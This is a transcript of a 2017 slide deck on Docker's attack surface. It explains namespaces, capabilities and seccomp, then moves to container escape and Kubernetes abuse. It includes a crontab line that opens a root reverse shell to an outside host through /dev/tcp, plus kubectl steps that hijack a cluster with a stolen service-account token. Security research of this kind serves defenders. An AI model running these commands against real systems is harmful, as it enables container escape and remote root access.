Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Hacking Docker the Easy Way

Oritz
July 21, 2017

Hacking Docker the Easy Way

Attack Surface of Docker

Oritz

July 21, 2017
Tweet

More Decks by Oritz

Other Decks in Research

Transcript

  1. Docker Introduction » Started in 2013 » Written in Go

    » Very active codebase (~ 33,000 commits & 44,000 stars ) » Lots of interest from Big Tech Co’s ( e.g. Google/Microsoft/RedHat/IBM ) » Delivering Containers as a Service ( e.g. AWS/GKE/Azure/Aliyun ) » More quickly and flexibility than traditional virtualization
  2. Namespaces Control what a process can see » PID »

    Mount » Network » UTS » IPS » User Namespaces & Cgroups Cgroups Control what a process can use » Memory » CPU » Devices » Blkio » Net_prio » Freezer » …
  3. Capabilities Break up the monolithic root privilege » Useful for

    commands that need one privilege » Docker drops all capabilities except those needed » By default, a container own only 14 of 37 capabilities » Docker supports the addition and removal of capabilities » --privileged flag will give extended privileges to the container Kernel Capabilities
  4. Seccomp Control the system calls that a process can make

    The default seccomp profile provides a sane default for running containers with seccomp and disables around 44 system calls out of 300+ Seccomp & Kernel Modules MAC Give fine grained control to restrict access to system resources » AppArmor » SELinux » GRSEC » TOMOYO » …
  5. “OK, OK, We have known that docker is secure. But

    how to hack docker? Please show us the exploit.”
  6. Am I in A Container? » ps aux » cat

    /proc/self/attr/current » cat /.dockerenv » cat /proc/self/cgroup » mount » …
  7. Vulnerabilities in Docker images » Heart Bleed » Glibc Ghost

    » Shell Shock » SSL Death Alert » …
  8. What privileged flag do » Set empty process label »

    Warn of incompatibility with user namespaces » Add all host devices from /dev » Add device cgroup access rwm allow » Add all capabilities » Clear read only flag for /sys mount » Set read only paths to nil (*specs.Spec).Linux.ReadonlyPaths = nil » Set masked paths to nil (*specs.Spec).Linux.MaskedPaths = nil » Clear read only flag for cgroup mount » Set app armor profile "unconfined"
  9. Pull and Push Download each blob using the API or

    just run “docker pull xxx.xx/xx”
  10. API Server Unauth myapp.yaml » kubectl create -f myapp.yaml »

    kubectl --namespace=default exec -it myapp bash
  11. Escape Docker » echo -e "* * * * *

    root bash -i >& /dev/tcp/1.2.3.4/80 0>&1\n" >> /mnt/etc/crontab
  12. Hacking Kubernetes » kubectl config set-cluster pwned --server=https://${public_ip} \ --insecure-skip-tls-verify

    » kubectl config set-credentials pwn --token=${serviceacount_token} » kubectl config set-context pwned --cluster=pwned --user=pwn » kubectl config use-context pwned
  13. How to find next exploit? Read the official documents carefully

    and Focus on the events of developer community